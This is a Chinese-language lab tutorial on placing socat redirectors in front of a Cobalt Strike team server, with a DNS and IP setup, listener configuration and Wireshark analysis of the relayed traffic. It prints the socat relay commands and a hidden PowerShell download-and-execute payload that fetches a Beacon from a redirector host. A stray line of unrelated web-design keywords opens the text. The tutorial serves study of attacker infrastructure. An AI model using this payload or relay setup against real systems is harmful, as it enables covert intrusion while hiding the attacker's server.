网站建设注意要点,浙江省网站备案流程,手机开网店的免费平台,网站访问速度我认为#xff0c;无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感#xff01;#xff01;#xff01; 文章目录一、Cobalt Strike 重定器1、Cobalt Strike 重定器简介2、重定器用到的端口转发工具二、cobalt strike重定器实验1、实验背景2、实验过程3、流…我认为无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感
文章目录一、Cobalt Strike 重定器1、Cobalt Strike 重定器简介2、重定器用到的端口转发工具二、cobalt strike重定器实验1、实验背景2、实验过程3、流量分析一、Cobalt Strike 重定器
1、Cobalt Strike 重定器简介
1重定器简介 “重定器”是一个在“cobalt strike”服务器和目标网络之间的服务器。这个“重定器”的作用是对你团队服务器下的连接进行任意的连接或返回。注即通常说的代理服务器或端口转发工具“重定器”服务在攻击和防御中是很重要的角色。
2重定器功能 第一 保护team server团队服务器地址并作为攻击者它也是一个很好的安全操作。 第二 它给予了热冗余备份能力假如你的众多重定器中有一两个堵塞了没有大不了的还可以通过其他的重定器进行通信。
3重定器拓扑
Windows Server 2019kaliUbunt1Ubunt2Windows Server 2008充当DSN服务器充当team server团队服务器充当重定器1即代理服务器1充当重定器2即代理服务器2充当靶机2、重定器用到的端口转发工具 工具socat是一款端口重定向工具我们用它来建立80端口上的连接管理并且继续在80端口运行那个连接团队服务器的连接。即监听本地80端口把向本地80的连接请求转发给teamserver团队服务器的80 充当重定器的linux系统上的命令socat TCP4-LISTEN:80,fork TCP4:[team server]:80
二、cobalt strike重定器实验
1、实验背景
1网络环境NAT
1dns服务器 windows server2019 192.168.97.19
2team server服务器 kali192.168.97.129
3重定器1 ubuntu14192.168.97.202
4重定器2 ubuntu16192.168.97.203
5靶机 windows server 2008192.168.97.1312DNS服务器Windows Server 2019 第一步新建域名 team.com 添加一个a记录测试是否成功ceshi.team.com 192.168.97.19
第二步然后添加以下a记录 Teamserver192.168.97.129 t.team.com ubuntu跳板 1192.168.97.202 r1.team.com ubuntu跳板2 192.168.97.203 r2.team.com
3team server团队服务器kali linux
vim /etc/network/interfaces vim /etc/resolv.conf
4重定器1Ubuntu14.04.5 5重定器2Ubuntu16.04.3
6靶机Windows Server 2008
2、实验过程
1kali开启teamserver团队服务器./teamserver 192.168.97.129 123456 //注意这里要用IP地址不能使用域名 2本地连接teamserver团队服务器./cobaltstrike //注意这里不再新开虚拟机充当攻击者团队成员了直接使用kali本地连接到teamserver因为一样都是在团队服务器上操作。
3所有ubuntu跳板开启端口转发socat TCP4-LISTEN:80,fork TCP4:ts.team.com:80 //解释1TCP4-LISTEN:80是监听本地的80端口 //解释2fork TCP4:t.team.com:80是把监听到的本地端口的连接重定向到teamserver的80端口 //总结只要是对跳板机的80请求都会重定向到teamserver因此在以后的监听器和攻击载荷配置的时候基本上可以把跳板当作teamserver来配置的时候进行配置。具体操作在下面 //如下图所示
4测试重定向是否成功 第一步在team server上打开cs 的web日志浏览器 //如下图所示点击View选项卡选择Web Log 第二步在dns服务器的火狐浏览器上访问http://r1.team.com/r1 //如下图所示此时r1接收到dns服务器发来的80请求r1通过socat把80请求重定向到team server因此team server会记录到来自r1的请求。 第三步在dns服务器的火狐浏览器访问http://r2.team.com/r2 //如下图所示此时r2接收到dns服务器发来的80请求r2通过socat会把80请求重定向到team server因此team server会记录到来自r2的请求。
5配置监听器注意事项 注意1监听器的的第一个host填写team server真实地址 注意2监听器的的第二个host填写team server所有重定器地址 附生成攻击载荷的时候host填写任意一个team server的重定器地址只是为了提供下载从而隐藏真正的team server地址。 6配置监听器 //如下图所示这里的host填写的是beacon的真实地址也就是teamserver团队服务器的地址 //如下图所示其中英文This beacon uses HTTP to check for taskings.Please provide thedomains to use for beaconing.The A record for these domainsmust point to your Cobalt strike system. An lP address is OK.separate each host or domain with a comma.的翻译如下此信标使用HTTP检查任务。请提供用于信标的域。这些域的A记录必须指向您的Cobalt打击系统。IP地址可以。用逗号分隔每个主机或域。因此这里填写的是指向teamserver团队服务器的众多重定器
7生成payload攻击载荷使用脚本web传递 //如下图所示生成攻击载荷的时候host填写任意一个team server的重定器地址只是为了提供下载从而隐藏真正的team server地址。 //如下图所示保存下来payload powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(http://r2.team.com:80/a)) 8靶机运行payloadpowershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(http://r2.team.com:80/a)) //如下图所示在靶机上运行payload //如下图所示在team server的web日志上记录了跳板r2向team server的请求实际为靶机向r2请求r2转到了team server 9team server上移除会话断开r2跳板机的socat端口转发靶机重新使用一次payload测试冗余功能 //如下图所示team server移除连接
//如下图所示断开r2跳板机的socat端口转发 //如下图所示靶机再次运行一次payload //如下图所示team server上面只记录到了r1和靶机之间的连接实际上是靶机向r1发起连接让r1转发到了team server 3、流量分析
1在team server服务器打开wireshark查看流量走向
//如下图所示有虚实两种线是区别两个TCP连接由于在抓包的过程中他的包顺序可能会混乱因此我们分别追踪167的TCP流和174的TCP流再去加以分析。
//如下所示追踪167的TCP流发现是167到185是靶机和r1之间的连接
//如下图解释1167到169是靶机和r1之间的TCP三次握手靶机的49321端口和r1的80端口之间建立了连接
//如下图解释2170到173是靶机和r1之间的http连接
//如下图解释3183到184是r2和team server之间的TCP三次握手本该是四次这里把FIN和ACK合并了断开TCP连接
//如下图所示追踪174的TCP流发现是174到187是r1和team server之间的连接
//如下图解释1174到176是r1跳板和team server之间经过三次握手建立的TCP连接
//如下图解释2177到179是r1跳板和team server之间的HTTP连接
//如下图解释3180-181-186-187是r1跳板和team server之间四次挥手断开TCP连接
2移除team server上建立的会话等待再次连接后重新查看流量走向与team server上的命令查看的端口记录对照 //如下图所示r1跳板的40314和team server的80端口进行了连接并断开
//如下图所示在team server上存在记录
3把r2跳板的socat端口转发打开再次查看流量走向
//如下图所示发现靶机和r2也有连接
//如下图所示r2和team server也有连接
4为了验证第13条中的结论也就是r1和r2都和靶机有连接我们此时把team server上的会话sleep设置为5也就是每5秒交互一次此时观察team server的视图会发现在5秒后r1和r2在替换